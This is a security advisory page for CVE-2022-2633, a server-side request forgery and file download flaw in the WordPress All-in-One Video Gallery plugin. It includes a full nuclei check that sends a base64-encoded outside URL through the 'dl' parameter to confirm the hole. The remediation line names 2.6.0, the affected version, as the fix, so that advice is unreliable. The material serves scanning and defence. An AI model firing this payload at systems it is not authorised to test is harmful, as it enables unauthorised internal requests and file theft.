All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery

highseverity

8.2CVSS score

35.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WordPress All-in-One Video Gallery plugin through 2.6.0 is susceptible to arbitrary file download and server-side request forgery (SSRF) via the 'dl' parameter found in the ~/public/video.php file. An attacker can download sensitive files hosted on the affected server and forge requests to the server.

Impact

An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access, data leakage, or further attacks.

Fix

Update to the latest version of the All-In-One Video Gallery plugin (2.6.0) or apply the vendor-provided patch to fix the SSRF vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: contains "Interactsh Server" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2633 -u <target>

The full check

id: CVE-2022-2633

info:
  name: All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    WordPress All-in-One Video Gallery plugin through 2.6.0 is susceptible to arbitrary file download and server-side request forgery (SSRF) via the 'dl' parameter found in the ~/public/video.php file. An attacker can download sensitive files hosted on the affected server and forge requests to the server.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests to internal resources, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Update to the latest version of the All-In-One Video Gallery plugin (2.6.0) or apply the vendor-provided patch to fix the SSRF vulnerability.
  reference:
    - https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994
    - https://blog.amanrawat.in/2022/09/28/CVE-2022-2633.html
    - https://wordpress.org/plugins/all-in-one-video-gallery/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2633
    - https://plugins.trac.wordpress.org/browser/all-in-one-video-gallery/trunk/public/video.php#L227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-2633
    cwe-id: CWE-610
    epss-score: 0.35707
    epss-percentile: 0.98475
    cpe: cpe:2.3:a:plugins360:all-in-one_video_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: plugins360
    product: all-in-one_video_gallery
    framework: wordpress
  tags: cve2022,cve,wp-plugin,unauth,ssrf,wpscan,wordpress,wp,all-in-one-video-gallery,plugins360,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /index.php/video/?dl={{base64('https://oast.me/')}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Interactsh Server'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from